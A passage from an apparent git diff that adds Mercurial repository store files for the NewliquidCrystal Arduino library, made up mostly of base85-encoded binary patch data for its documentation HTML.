z+qT`)wrv~Jwr$()Y1_7K+qN}r+xmLm{e63O|J^(%BlG5oQ<*obDk?Ibcy7(fUNYn> z(rsICr3~lnq)N^kaC@+!8z*cdzokC>)r0wXpA&Nq8<@w|N!nfvhC}u1ZtJw&lA*S> zO1A&A?=YpEU7kr%LU3Zdseq+Nsw>(hUwsLK)Ky~=oIOo6tqb^|UuZD0Yze}V+7!^?Rh$nxkUju#SPIxib{;Q& z;^kO}756q(dbn?-=K7E055i4&wlm*k(PrvrXblM{esh7IOa!6G{5gbhhYrCA-> zOB2kp@VwLdRrn&gwuau2b&Kd-oQ=CfVNN_rmHJyo8PxkqD4&M$JhnWLkZ6??#Xyz|=nNKAE zTW|0?T<`l|Eg9KBl}d&r3nFovpV}U_zOuFTwncLJ*;(jg>w~$&_0ZseZbdvT8Q!;p z$;9*S=K;oqk8M&MkJ|woGR6>_6^$R^y@6d3U8MGdQn&t<5kzR1fUlyuaAS3`;G-=_ zVQwv35q~w&!m+^W`hTV`<2TxfV%6OiD&yx_v^)RGL}!J%)#+HPuVt|fw_9rA&-$uV zH1 zfrLf4pij1-ok3WDrbT=}UT{F1e_mWbTwYQbCIUs_Av(nidk6W85h*GOnldG^aybQd zI;NT2Y5KqE1rh#R#7`3Q|Hc)}en!Cmty^K8r=77!%_PET7Ck&ly9j-D4f{Xs z{}Df^R-}vtkN`rk5(aTB@*+D46wj6d4+!@k^arr*UxvT1 z(c$qrue|~Gv3nPQ0GhMuJlphX-AzkAn(<-#DIAyz_H1_X8i*OwK zmsZHu%d)U)uB|WtwPb~=1JyqSzGmJtJ<*B+OPWz>5A`9solp!{?F{m=HE|Ah7Wcu~ z%yj24&u81xnwV7gc%hfCEh}T9Vl(SF_9=KE*TJ@jC|A-$@MPtH-Xax0=+K{-zi{Bp@Mzof! z{MnEg5rNp9S`7;ni^CrgL(rLLQdYcqb}O;+1$4u&0WwzRj^H(fx?vI@9&$~GKstEgo6oRvN1Z})n&a>aGR2aPz2=VQybeen^v>8 zc4}8n(w1sqkKp?~Z|~DiUz_R68qcNNZ}F0CxpV`O;9fk+Kl*1Zed|&*C_mgj>wsl~ zJ{R}A(1luGrxjIq{fcwwl~bLgw5{#R(18*>tD}OhPtzGm#e>f;9~GU4$4B!g^P2LN zy8|7|HGu0$($JWMg-+0%7BCSUlwX}!9f$$U%oIaPkW^uHqG?Kk5G2Vuzd*UP6X3x- z%toMfF`RL3w4O*AIPU&fW`BrK%h<8=Ejqnt!& zE^kI>8_+4x3PLs#3_5}|-6pH&CGltX+dq5`r1WsCf4;mNw188Iuw_#e#lpA~3-&P& zi3Z2`rV{bv=z?1UL9qMeK$smvpp2 zPJ5_B_VeYS=Q`vl=boKHz4-Vj2M`?(>~N&&RRJnkA~j--^y6jTWkT6R)$T<-#kMD6 zQ*f_{GUF7O!QyE0Iu6wNtlp`A5siu1OY_(yM8va;s}Q90ax14xL8I2II7l$Z%Od@5 zd`M1}ecp_2(nt6kY2WVnJC{?R-G3Z=gdwO573Q8Eeo;xv;xY&foNii{kCzieu`*au za=-cHcNL}pdXP}EL}4aeJSD_ZGLkUROq<`quuJssCwLvaO&TnC`3Tk;iilSOYn_GC z>BN>k)S-1HY9|&2ade{;eF$sjzT4pp79+NYORuVJ_$JIyS6<73j-(A5Ho$g%ypbpHHpQstFq z{v^l>Z<5vqiiRz-L#FyPkUBLKR4IW{9Qnf6mW?>~6RPY6Y?v6;I3~p52dhN<^_|=_ z-;59K8J_MDcTK$yKDUqXqRN7IFTSX8((C!r_-f1>A^v9Wwn2QAnb1NaJ5`Y}h(|Pu zJq|+>7z!d;rHYMoz4Pkq&-N296j0*t46Ba?hd6wYNPNB3{Gf_6rbxv3M`6wx)1LUG zEUb9yC+53#4w0z<^7~yv;tJz!ZThoV`MBMyTs-V>zI1lkgq*)`m)&Vy|8*FSxkVNY z=UlQ0DTCCGxQW`%pI*{8(WpFr4-x1ub3$eP?)oJxfG*2K?QHJ-Zt3NzQaRxHvpsuH z^gG@>E;Gd>|LZlB^y=d8wcauB1vv0+-JxES?f=osqbL{b zl@>6!+xH7whOwUXPO7~RPI)qi;SK~{Bsy{1qlNkd;TY8xJr-3dWdx7%y#`WFLbhQm z0@p=MY!9r#3rQQ$9X7K};~`1hHT-;R?c;ZQo_ZcdvXlI}A72TqO~#4366=e}^1jB7 z-%eO=lEN=(t3YfzEy?HO!G_Y`SPu_Hz<0`-NWCQn_GS6s36*eLSkd9cufJu)E?XDk z?I{ukM%(3x%f%5eN$X79986%St!mpldVD$a_7hTPe43QM0qW;W;v?TEvAvsUZ?4#( z({(r#;H_VSdfVtk+TtAq-Uzvh(y2BJ%^oaYuA^?F9Al7-%|^$R|Oyd*76+uw|@E5=VL0 zRy6{23Ibb7s|Ji!l!&&#WfI5yy$QUO8@Zu=voh$iajLSRo|dLBm`iae8x^K=F_n#C z4y~)l1j&CqW%0TSsRqG<^#(v9O5UJ&Y3NQ*8jX-(BuxiAczBV`Bq>+*L^Y**8QaSe z#xCKCHI=|WYjj4U&e%?%7C^R#kk)z~*(0|Ss3~^!EPlpi82;p#S@2Q*xUEo7-$lT)Ya0Fe{riFVSotJ4;vYa@{G}ot50njRoP@E6pD?JB~w9&4F=y}gR~1bqtRM{y0*;3hyA5rEM!B#w?-^Uy)L${&rQ8aT~c@J@8UF?x3TE*L;3 zi}C{Y`?aYC!U1#|{<|<`Tn*U?&!Isov+~eCN1aYv6L`F|p&{0aBxJ~{fkXI?y;UJb z7oD(4d7VO7;oLbquZeQiMm%dExv191t-Z&yxdS1Z&_-mkPkvayo$NrX$0-7^*Z|_O z;Fr9Kufy>YHke36Ah{%BfVEQYs8!?qRLVDxQf{db#Li_ulxkG?UL&>Hu+z@A01jMq~TiM!{BoBJGMiSSDuhR^Vsdpq)TD=^STR*aB( z76bqe2)qieW_)FO^giUAC>*z)A^<5reQ^YZ84MpZl#Z`!;3ff%@p(b?mA*gRK0)l8 z9>+bge(RL~90@7-e-ij7-zLxUU+<>`{#3|+9tb69uN_-4zsSyspjq{9-R;Ja`F}|u z|7raQx6CEgEsFzI6jtLJ!FRZRe-eKiQL%U$jx-n}Ho4|4tK1$}+=q_+>JeG%--68# zs2*z-ymB?~Xxl9u!kxbK+-_uj_|C?dak!}7^E!}Dzs1q~B&3N~?u zO`RVDm#is{S+hGm>?3s!%ab1u7p%o^`&u~?4%b~H+UlLT{dwxa_vKBqBgMAYjHtq& zd}8wF#CZE%4Z}ENLhbz-rsr3EiO4=@M?{Cw?vO44hC9H`Fa^=;&EX8Sr;eMg_Q%YE zI^DOad%BQsTD*N!rKTS+(YGmPc~tXX&LDDhUz(aot#b zdVTzG6_3BbgXuRV@CxzKVN!@x73C8K#@>Xt_=^lSL`~mMVF(b;J}b*<+GZp;=#AnA zQhFV|DWt73gAZU8E>Vh!=_kVgEBZF7w-308(twb;<;Mv*Yy{zqWp#Qfc$-FJO#{7H zrpiVqwUBFiBEyzt$=q^TdB+qnj8#Z0&(%=cEE7Sw5~JEvDQv<6il?yKQgU;#mpx_v z=RGbv;Nh$vVxkpM2|LT2r1Q&T5GNFdPJ#~4|G`!4O2Sw9A^RsS%4(=lgSEJ*@;Vm1TZccuQh^Jq>wu>v#q2HFGY1C*VDJw}d@~P6_UvZn5fW!l< z^Vtr)HVQU8LrZCY^^;zvH$4<|7Tqn`p2B{OC~^2!KPJr!xkot}dnhD`CAMqFt@$5A5{W=1ld79ML9HqH9GA3#lM> z5}Qbj!wlicM0Tbj*s3y`DVZJ%y7d21ZDuhGy?#zv4Ktw3hz8B1j!9{?j7;NWRNz_ zzygf20nEZ*&g#y<50P_YTV&Y1tpYNl8oRF~w9Vt;ps%mGd|D(%ABb;ZswOyz*dY$) zK}KCWB1$4!;41RLkQj@Wb7Ld>#Y@msm!>xHVVyrW49Y;7Ag}sv;sG z?xiAKG36Uv!d_qUc{8tfe;?R)J*|f{MSlVMeFryPO=UV`bTz;gY*z+W)QY|98S3$0 zUYlC(+TMe`P4oBk?4R#+-$=c`FRVYiZ1Y}S?DOFNI-Tj|1jzXW?Y)oLs0(jvh`m>@ z^m)hfyY>a#EkHjGjX%+@TqoV6h8OwCwkPGR=-kt*(RE#FBV;NbSHIA)=ANr^SDff`H7BdA%a zOQ%H>Sy)_o2@6u%_d?dlS2xd`>yilQ0bBZbUNn!~oU4%8XMr@om7W)5^%jh}Dt=D% zF&#PFRnoP`iB*2vU07Zqi+bblr(#e?(Tg(etpKi4uLHZMTyMsv9B!=i;yJsvS<}{z zXpx<#@ig+|xn|sh-Vv@~HjO%>w_58&&X{s81dHcAl2-0SNGIK}ddc_55@()RWNxsD z6{*nkS|d<7sjF|NKdmJeHR_|YVCYisJw5VF7{}VoDpFh3--qEd43#M{#xt~l=J7BL z*ew=nc9_A>>UKKpl(u+x`+{%N-hr=f4#kucafpU+(_yu&~5RW+{rArLh-5r@=0Mghukybu6sPP08A~?Q8t#Wq;kKuUaB4qzCsZgEKY>_K!$d?b zR62kT_NoelGC0sYaB0c5q8W&5T@*uu0{aUECb%7uDJ#{5LjRXAW7aoVIL)g_Y{?f! zgbFN7N@P$sw_k)6^6OZsm0LL77n7O`E#Zi4yLNU-J}wIvdfV?f2f9Y#{jXX6-q-O& zo_$$#EhxEmp1{j{-lUSjG%LVvC>y}X3oZbDr}LF(r6Ntmds22L$88ZiS`l^pfJK+A zVDs$l#Yns~vb)_1RTKGv8<(%MDW9X_Im7*~?0Y=-2J(%P$Pq4eNyp{o$+Aa zrNweNBWS-60zb{)*NJ~B2yjubPh`>VBERh*cP9-O9^`o?KFL1_n`)EH&+NF6}LAgYTFg=Rn*h20gLX}1=P*~A0Wk#k-_+N^rYuFA%f>sRs{ z3HtTa8VJ<*8aA~pJhud`ezCi~fVbdwLcM?l1onXTN8!6|pYjV&Mh5T_C}0!Kl3Q0E zJv$XUo{#0@5IoNULD^D>g0A`G8jVx$@(Z-ePxlwlw3p7(8_MP9R83}GX$Pcy?QZ_! zUfy*bwwy&fxQ)mus^tezT>#X>VbL~ zmhv%Sb+lLNpkE?VyD<7}7m`n1QYg($v`N+{vUJOtHKH2zu|2NGb!xWS^uOi@dz%*; zMN0uA4f*7XF-*odY9dM%r&R8*lb}Eb^K?@!huyfiYMG4VJ1OikS;mZTt_zr*r&7#R zN1z%wj=G=kLGTEZafF-eeR1Fan8!!d@Bw81uA1Z+#9lZKwOfQg&fpU|S=RNt)0IjT ziEZw^S41OJiB`*#xPW<7W3Zt%4N4o73SRTOJ3E?QuE2g=Kl{i;O_H!GY-T52wkS&@ zST{dPo7=8uwzCo9+Xwtw6hriAgR=V8GQkE@%hdNR0{-$Ihj2vT!!e@`4xqJdSFWHf0&XN_Zd*(!sCz#0b5 z-J;^^(!y%H!lrVp&w*T}jc}fY4^)MpVrI@+Ty&b|fb<9FTv$lWz?eLwZPp@-@~RMN zki@4K#z>>Wn#PuT;90H)+I%^j7xQpUpXeS>+-XI|XQm4bo!7N2cGEO>*8Onb?^Vor zQonoAG=mPG=qUYu1i|;|8Di_RR|ze02*aNGDAdwBANfzDFm`YGFLa2>D#p!o3@7Fw zuE>}q&ccwlx6ZIwsz6-lZ7R62;aW9{Z1SoqIV2RUc)@gM5BFuPHLG$px6_@?*FctQgWYz>u&s2-aky(qSS2+qgpRt3|zccftM;5q#ln>D= zi#FJbDJJ;Uvzf**CmG&*gipMsNXD(W=>#2p#`O}!g^)==z^pJliwvz3XDNe$V&Esz zx2i7RmY*)0GD=qL61vD1D}*V@A!No=Q$QqDY(ZO5#tmld$MUcrxhfnVZS-0T>mZwX zgPp5URKkM<4{;sM>G6^&KW$c2!F!>_j-Vl&eF38@lX1%eh?c%nh!pAmvXf%{JVt3B zBokufJK|e&rU^Est8>Ws=g$n&&j@eR zn!Qh5NE@|2#cwc&nfCLTG=(bml7E~LO1Mpg9rMZ%nW?i?ZDgpkHPtP`x56T-wjaO9 z3<8bsU44URJ9 z%+_=i3{bap6?m(bZO^2;K$yBf^2{^FcDh*C_F>XYntdX{YbIVcfy!3u8yPi1lw3$l!#EJQ<6p|m57 zei;GcPruV;Vr>DzIz^5WA1s5!P|(}JHV`vD?Ve`!zQY2g5?5w*``qD)&bI?o)OvMG zN?%f7b%VTv5(KyF7G7zWSqvVB`X&K;nFo8&M9j4_V`MCNX|{ZFaI)CKvp~bbLX?iv zP9xlAkpy3;lEA*iP{@KBD|-|T+-Zc52@hguyCPL+lF1;&h~c!tKKGm?l_WXvCe>q9 z)Zx^6EhohW{NCVbp+~<83^SQpU9Ri!IPb>HmQQw3^~ThlSl`m?=A{KRB>C;*2hbeUiHnd79K1|iLM-Nm`n;{v0kuA|iC)>6%*HQhy?Ch{j5 z1f9Z-y^H+Km^7s%b-9vwxsoC)GgIvm5WvAG>3>L?)_-g;%w+(8e1ZR2Q|?a-`)}P1 zY-vjSq!Fo!^};%zw*0-H5;hk9_qq?Yw;XU(%qb(M32iWZKkDz|u3_*o9_dj7T%OCWJ1Qt}HJMFR(8Ko?+m_PEXT{nVSow%Swfw zVEn+kuXk}Cz$cfNYrc#v&sB$(mzP_DV(GlDX-;2{;j2Xl_(BaB?NavoA_lg299Ad9 zY@9w%g_7q?bt7vwccOMfcYgehD3M!@(6zPxJlAb*{`xYqwCwG+ zBTjz#5Xe!Wd;xZg@sv+1q^&>cxP5sIG;njr1WN#?%jPA?WbBq1Vr?Prfhw4DzN#KY zR?uqgbH4%E_Ba&n`o~F1AV`Y__CLxl!=Ku|J+)+XNQj^(M0R7#YY6##vta^Z6{5Bs zzTR|lV8Dq>**Hi#7fMRVcAbsByE|&x$CSk7CNx3$|=sT?+VTpxM@ zOBj1p#%Mvcs?`&Uw?wO1dyN_;4mlh}aDYA~Jh{2X8_ z*n1t-Zr-dgQe&~~%9+IvJtB;)i1+PXzK;B8WHSR!7WR;w+kWxCPMR|Qbzk@)SM{yW z8AQreSPKt7Iz*m0gP-|06VBvoLfcG7n({gBYoj{|Hp#oVDq2{i1o?|3Udm*GXXI*c z`h3Oc`Q_yCbSz_QVLxGIiiM!0@ay#>Rv1ij!9j5V&@IfI0W&&1A}y}Tow%HDX+S<| zNJz{)+cAepzwBu8FnGGnDR@$*&sl}Ppj^-}?qDDZ65{2<@kJi>{iMOj3-t|5WK1_9 zVpL~HFI<){Vp1vdgQo4zfjr^ouXw>GX|bKo*Sj0Nl+Ja&&o{RkOgX5$ip3dl@?dIt z8tT^p5kK)gLWCV`-N!AKHmq*w0){jl9?~wz(cU{6c>rNt^ z2wTb@>PZbXh@Zp5;MOTbabq%2+;4U0oZUxb?cEf5r5z#e6$RpX63aA?1JDA zU6+m6aFlTka*&$95>FN-c(5VzK`P=NQY(qN(c;QrnHvx7otL@TNIH*0BoOn11fA)U zqZmSMCur^Hkc695EkAruY|$9QdM1JbfKS%20z~gE>S>^V^rVH*e%_3(f_5n61w%%> zc-N`E98sTBG#^wO9Y(Emosf3it}zU5A?p}28>G>W6F*!`UwqObk&g|C?YmJ}FDofW z;Ml{9>LSuJ#bd_c-7C-aLo1>K*v6hRY+U*r@j4C@y6RhN;N`cUyq_mkzuS zUZ^es+j+;&ZQcG(zLdp4oTUkl^^dtq%}gRm<3>}FNa@6-G$>=ytiRL~$|_*0LmZqH z`il-=E)3~V9~CO8n(Koi ziKJ`OSHUcm3E!l@)~{4zp*8)u*)`)s`=D-PauO+q5=xL;$W5T{oUlfhHZ#YhawJ9V z6@t>R6Qyz8o(llFm;qauu#hW%_tqgIvc_wNAZk~#m7cEOHIowop#iyu8eW!4KyN$d zh&)ywJghu3D`qLUrgvcAWfONVK%;lt=t$fx9TvLDh}?{JA3pG4kD5j$?e`(??LZP8 zQ@$RVB}4DJkDzohcftfCvrA}F`Rp^a4{T)ius-5RkIVF`r!BT7Pl8LI2sjiq*#_01 z?9);=F{U+)b+%-nXFXxME9>a=Q29(%{NxY@%PEp(JK>5nH{kRDGW6A#o^b?(F`&F3 zc9RD)f!gJP_j6JSX-!sqhAOzXk)XGpi&9_bcZrzpWj!cF^Y%Zi>h|FK-JYZvT2??Z+(XyRnJj1gg@^N(|ro zgs~1+zC0*}01(w;3)D3FJm$pgXBE&HSnK-)*jCkDMbt#O7_hsabxsq;MdN|DapkUb zKi(?xthyu8hw#(U9#%#CN*1_uSxWCM9b40EiLl#dRb{ z7)0xVw7T^quI9OL5dm=fCG{vTPOU^s*|dvTq}5BhdOB<}T}nwUKRqe6lW4%zsNxKy zNA1v*A&|+DSSSFpjAPSI8vhW=&$3cx#v(%Y8u2qOe8e)k+fZQkms>V!CwWxMqB?{g zD4T*~j!^pD-OJP%W~2|#5TDe#UhNM`5He2Id4^iB$IhRBG7?j0@l2AG(-q_syK&*L z>D7QnRUef#6MG$5efH6AT-ShYX*g;*Y~xJhF3h^xMtrFq(rMt8&@~a8E6w~&J0Dh6 zh%D!JF!ox@P^bsvKDbyl{TcR-);3;Wm6_wjuthH7}^ z^zzEX))Af%Gqr0ekcIp8sGYt|K00yVnLMK#(0x#KGNuJDra1T)wA;c(KVs)cNxC-s zynjvMKoVEziNe+-V}6@>A*gM(4!dA-O{R{H7v))D zl5NzQP*H&Tl|F|;GTV$U&=~Qy>le}}S0C?RdEqqVRP9W5sDxfCJUF9PHP3!aJQ(6; zIsALQTu-DV&o@m6T0`kocYPT<$_eN*H&QEk z_|xsab6YsqFE_76&Rp{~1a$_gEW2%vGqY?{G(yhSq)BsR1(T^67}HI^j_!VGTX|-DMraj|5qCk}60XOLfLYeVj0}bcrPdH_?n>LF} znSR+cN>(f=n-bCj9@oD0?s4^DFgGHjyziC94z3m}WA+dL#YsH{kGrFhWT}T{m1C_o zx}L_9WEKL}7S8an9)Jf+JuCgvx@4{pWXla#({?NhZ#`_d-lizO>y=JHms0^Zam_~y zmIIgykQ{Ry1Db)I=mmHGV<~*YMAqop+T+L=!Fa^*Lvae{uoE5R{FOaqtU6$C%ec{c zn?i3PD9cfK-G^K`z!z46`hsogpD zRFwXj51N{=ZCsitwjc$;nsE)jB}u9PRzQs~8Pw=J-PZp$bi>Fjh`XhhOv8`+saD(}gv)KA&uBNxiQK=y7-7vM@Wvg= z&O@sqTAFi_)6KyVZg&FoFg+@YpPrTjx+Z0N_<+|sJWA6*Q7sP)X%cYWHfpc!B+-kM z6rPNCbdgDAX*}8#+9@cG6!UW0# z^{Y>-clV<;2X-<^qgf~VIG;B-zPIcbmg?@Q;R{7Yj`VO2g2hMG zA>`Bq#z5%3IldRirm>@vAEzY!_1d%$8z=nie29w*A3>w`l5FxPxh7T^L83~;Sd8d( z0lG5$M0UyuS1EJgM11%&dUw(9M)@}g6Du<)EGIgTZZ90owmLLk{mTRrCEjeF-!2J9 zTd6Rh$(3koq|qRt$&<{~*m;t1X-~!l*pac&&#bYx%H+S|NK*D3Fcb-0LDSA2?bbWx zf(*n=)jQMd9-%3c0ayk8cgttOE!4iE0E8~_@Xdw!C2(YfrMQ7?ak@c8rLGUxk4Z+fSe zxsZz;lU_JuDkoi|TspWDizC-ElIa%-=@)S!()w8Aq>`14(hi0aUM}P}D&;qVg%S>d z5~fGzjcBa@IadfyHD7?RYil`0XZT>LTX79v7S(EafX7iFEZWbg_n{&q$a4)-u}CSO zkUA_Tv8dio>9x9gUNT<_fV64<*_Iz2u^`wnQC+1{ea!qg9$sEkTqJz95YT5ccx7bc zAl_-S@1>;4Jumy=GtH}wDvoo(uJZ75@^J88yuBRpezx+6b)vEOB;xFrHi9_% z17qq;DyW%tF4rSqo2J^c3`v9YMwa6e+>fM59b@sXa8_@j22)Is*Nb zh64RD7XVL7EGrS;6M50=D)i{N(cPsg6<>m+3D062Z*v*|?{WD!B_PGl67v3V zu}v3BHOKL5Z6NlNZSn(?h%59-lfez=PeG$i3c-_k;10%7^Wn#RC;=h8nN!L`w6biy z)k`ch#qno;0iqsx5Ezq*I^I#o!0Gf{*Xm{Tc+Z9fX251(T-zY2EolQ#5$+&8;$nfVF8Yd(H{gZMf4++`u7@rvp zIgBdv*T} znG$qUUch)km_3bklJ0Q)<7+(q z!(K{R6nulyCTyk3tEdWxAN=a`ze;*HaD{8O-BPiYJ6?^m3aVL$W$w~ z3P<&BJzUuHoCh4**Q1>UCRl$vgbw47JnGZZBlO@m zM`q78!=8L+r~@)8G{9A5rk8j2x>69{<2#s{MxSLOdH9n{${#{tL_t!6Cm@)It@rmV zor*O2FHH{I4qdF^En6xDvi#>%M_JEx-=GcV_xl1O=#idJqLXkMw{Gm1W8&Do66uUQ z>CA@F9V#vzun}{%7TiwAo5a-AeOf75IC$RllXXn8Y+SkFuDCS>C=K(zz*we09%?Y+tJS!Q|56jbS zICPRn<`h|e54&ck-Ez_8Ue$clcJL&hdc~U}0(_|y^sx^f z%B`UvkqOJ*r)vzm4Vb9o@4w8+?-igCn}C^B-A7HKpOy2lbC1u`O@Ax9@`4D=g`Nf5 z!LxjCIw|~w=}_NesfVhdH@y-wsyMFF0ho*_uABjw1i;U}`>b9~V&rWVK$AOkvo1Ob z2jXG+xjy1Uhqw4Qos>*9RSxV1R8Z2Q>~o%r#-I`RZD+blT@ZxwGJYM5r&}VJ#R44>U3b-MQUa+ghhsIKpGUIoFHr!ff}inO5pUg+{qJhF=)Ukk* z@1#s~XnzP1*qH-h>4|8puH_c9y6$*Q-b|(|NagYI*}#@5uKr!FVB&6GK-9Y*-QsRuUG>AJubGe2XqGn_IThHcQZw zA1S6g-g==xZzt!MW}oWiehhy9gA0{1!MfSDTPB`Z1Xpi`gkgpguR7F8D45*F+3JmpC67rZZfs9V<1#Q)57 zPUh1G{-TIhK9?PL62+bT6pTp#FZ&kSgzX@YA8Rscl&a+O>v8jTXut+ z)UhJuGK1FQq#KzQX(W7GeVb`;2teQn`GBTkaD?0mSa0i((-_&XuzDRPfMOQd<|p6; zR=Hr(^UT>PldGpuD=Rtl%-tf9i-kRj^5h1`kP3Mr?+s(Zwpzf7Iq9s==hz`-xAS6+ z6yUmT)yIg~F$M8L;HZn--`qx3As3l-ic9TyW|(8pyx zs>TyYoG=0eaSLG5*O5im>Tqvcf6Z2fu{OQHuA1wCF^Tdij=fzUwpT$9K?HF?WMS)6 z{Cm{>!?7k+>2vX@TAdL_W9vkgZe_+Y{S()P;Zz)^R)+u)#0?jE_CA>d49@CoHRExjE zHAc5P6R>+SRzUQ)HW zDgeP`%~c@L3Fb~M6%>Xb?mQu)!*KLJdfao-#1B1A^0*Af-xC5V-^s@I*r^1PpPU$! z2^8Usc!;M5P&+qW!RZ_9fh!PW#+NtaV{jm~7VI%cuXz7Y$xis&!$yu1PTV=H>G`($ zF;=kK(|sq=T6#%i+uMXhjPDNj^?z6DJM2-+Yb>7mWW99+&_1Ul~6nx&Ms{<^K%B{X>NgC1N~m zs`^Z|AEi&{QgNx@DKS3&Z&b)oPwk|)x7Lp62hGa+e;~<;ipoULeKukkKz;6=;c?0<(L4~69`n)uM7Ic7yFjBt%5Bd-~od5s; literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/__l__c__d__8h.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/__l__c__d__8h.html.i new file mode 100644 index 0000000000000000000000000000000000000000..69644fbaee47b8e5204c9af8f991633b58df506a GIT binary patch literal 14264 zcmbt)bx>Tv*X7{u?(PJ44el<1;O-U%OK=G8?(Xi8!QFL&J0!S@%|vf(u_6x(at!G`}% z82K;eZ{?XaZ=mP8+Jfo(r?$t$GQ+$i#gpz}DZ|Br?(%zT)M-a#8hzj8ooz|B7$8_?xC77;Ge;xGD7yfUAo6pxjv6Uiqqq@AGP9N=~nx3{VRP2O^ zbJlY5UVOVc`DBLP%d`^6{VEHa3m)j-J}eGtvQe8r3+WFH4ebr$mTerpxcPibZ%weX zeLwwFaP`9>E&(e%rrV#p7u?yWcpl}%K)S)_ zQ*f4DnDz&mkG*7(N84yX`Gzb!86zjrGcyNx$%wMBy900Uz^OuVs%0<)q3@(u3R*uw z_&zlgrF2Nt<`rM|wEsq&`N=fbL&`M5&;Bd;49ndU23A>b56hU!1jF82b2cfm!n8s= z(qB<@No1&%?tf5s>F+{H2+#slFn>U0>=TZ8dKdj1)R?$p*#8=W7*~cXsfm9>Ho-r7 z0MvQ1SD`4?@JQCs{9c$oP}!zliLa2^z%g0dTH#A6}b$yD%wJZQ8_5G#qK#kv2W^T#j>H6 zJy}mgZbr$cO1gjpg7v$>D|#!nWnDAAC~{d>Mw{C68(lATaM5l8fl`0yO=pY+7D1_| zVRA#^^ufI_09DdqNIo?V{yAWEM-JA|(eW&)0JCIjk{=+q085O_lPet;Zp39jmQ0eS zZFG!wPxqb|sF9_tj?S8)gdPrYxxWJ<6mvP&$WS&Fx&0y%&;@r;A0nyLy=N@CN6}P( zMl4d9Ay&=oCV`OdQeFA3yMtZ-sh?sb>G#n)ONi;Fcy@ok{L(ERF604ib(Ds%P~iq^ zvT&ySK3zg8!bBk%F#HfH>=weHRyBmc=p26prvI7{tQ+=ycpsORlX*_EA3gt&}+Ky93$d}%rO6xdkIi!3jVF9yQf$2po>)XOeWW~6dkPu_|5{7dO ztRY)0hFPLy#{o4a>(Ww|k6&#C?R0@D=pQBjbUYY`=YmS!o9vUW;k2E_RVzwticgOG zVA;Pk&QWZdD*P#G!=Zr3uX66?US!dsV~%i?nL#t3X>)&Z_Vf`mQe1x9b>J2evDgq1 zyqL_C&I%fmKbF5^-(d&O2#4c2w=;s#^ON@Pc%PxAnA(svKqIkD=Uzh4cvflF^_PBJWm8hcyxuZv`(3Tu6k6)pd{Ud1h7PEENHg=TMOmh%{9z6xf89od5;4 zR`;3?Yp#9gwlJpl#+8~h;daxmnYyZl?XkM7evMW96uB%|wl2FeeP@%o4|-p%8n{Kp zdosMX&%R1n|EP()8nlPi*5w-siR49??rl2-kLB4Yj7v+y>#(1qWsgOLs`dS`!f{yBbSw9au?`ME7FJLbP_~k|VsLRJ8Nb4RO#4Qw!y!X+F2s|3ii}S0HOu zOjdn-*;X%WAvSO4W(0v;(RG_M>!vO`?9SkZbU{YxRxK(je}YR_JmVyr$9dwi-k;Jd z?D)_kg@A@~VlvI8h?L~u?dIa*t?RBdDEa3F^a~Pm59^FbyGI-|O~9;6Db3N@ouh?10k=3$ePpXs1ljaVHXbT6Z!uYUHd*<${<>)>IFaKQ%WiRh=0@WUA{elRZ3b2rdvK$fVzIn5T{)NOE&Y zjdHWrz4=9-kGYZT#AS^SY4cl5zUAy2Pn#)Qe~FnsovB1QyFI?1oWCBNC#zi!|46&F zNQ-L{d?1MixfqHd%==A2Xc$%Q!}rDN@_^&70wzfuXQo5!uxN#XAvg_jE6RSVyk!;T z9eLTFM7XuK@;-e&>zy4Rt=u^lS%VCTM$G*S?{0@-0lxSA)te>v;K*g{Vc}K z{Rw#gx}c)A5_IZ{DsgO9vdYF;3`@mU8MM97pXYO|8u3wJF%f)ueF&r9ZJHh~ClPc= zF%a%=Ia~lb1GD`I32<0-J9JH-X0hO?6on%f8rX7fE9JbXTFRfOQ?%zp7OJ+xza9^Z zHDVoZwfc}s^nKAAW*12%nyr}(ifPP`E^j(WEEIz!^50vR0*REOqlzsb52L8 z)U5BYuGb)kDWKHIXkZm7HT7xxLlJ8P*Jz+3s%mq|m!jlR2spTF#xmJ#cHx>ea9-ZXxULRiFw zBQ7!i7?O5KR|pBkc;ToSlJ)K8MZu2MDhkO-NSB8Fh(<}v0PLB#guE8N^;YwUYM<>b`qRUZay*3!$0{O0 z8nB{!(zN=49~BuY*UGxyE{mGeV&;(buCQ7R3cn2KOT;rLeKVV`d|9X)p4^* zB@WvZRMq%GAdW{Se26gO;rb=-bk~88bwB8HOCr-~oRF}cn@0F0BB}ShVshqSfS599 z1m6{D!^l&l{s<9~H)SN0F^iO_YDvu6lU}*YDS9{UBE$z*TeJBSU3n4DHdufRgtC+B4=>5+A7{j#}k5Q40-^TRDDdouMk^o-Kz~s zgUG7&%K45bwi95QeK}u?su`O$J0^(|F_0f{%_uX6AI3ADC)&Y^U$L!^jZkP zo+7sy>wDQF9yp!Q6xnQA@;XZXWhAA9{;}&UXrryBo$zE1d5p!C^g`M)74pnXUyP?Z z*QZ>5t}eES%d~e_i-jiDm>yWesCtl6E!?h?)Kbg0K03t4d{!}T&!DHOrhIQp@V%KF z)p%g}o%9bun$}_2Z!+Zu8c7)17!<|OM?+*RWmWB~f6RZK7O(CWcE2=1L^Q$R1kB+{ znGCe~r>%Dp#XC*;P?)Z)x1Vkh=^~9$mf%ROU)wA~44mA&3-`9W(hfU3@o|i&EUdy; z7ofCX0zEYrVxtu#t(Rzz^9DP8jk6r~L_#Cb9o(9|sIBSlMMvKv*@uw*GvgE;Z3tj0 zt|aGM7_OC{aAHgQ)Uo=<>eo4{{nwbEp$LSYvItDDv9DQnQMnlV?w+{&QoZQ(Yu_ID zPMQ#S%gQo^#MK}ZbxB_~vIjy?wXef4z6=ev;M<4>);CdN&K;Q)C7bli2>J3z_f!eK zEC?7rQAt1K3w2AIe-sIuP;%LU<3gI)5zZCo8KYA9vl-&bo2Ul|IRSHVm?~CZ2Vgo+djYrYOBu!LK+ITQrC}$>g!^ z`lylP;7UAPobzN%8kKs%hO1TKYVXTMwx@7grULnJsjtJjV;Y~-`i!G|lIr{mZj{nQ z|JBb*b)MrtEaSmRt`6%%uCkfd)|?EWqetr(KOf_)9^-PTYl9x!sBI$a>~9QK=P4Sz z)T#Wz8@%o4?MX#Sh~$<@8@j@US-#%@;%dD@#rg6 zWppfXlj1PEvxZ1!d6<;TCp1p{-up3IADs>TKSYHIHO~a^cZGVWL=$Je(PS$~^6v9W zcHj{|31);@ZL9u-jf6SNt?rliRavxEENeyOB4cLPR502jDg3-OHy5vpqP?9hOt*Un 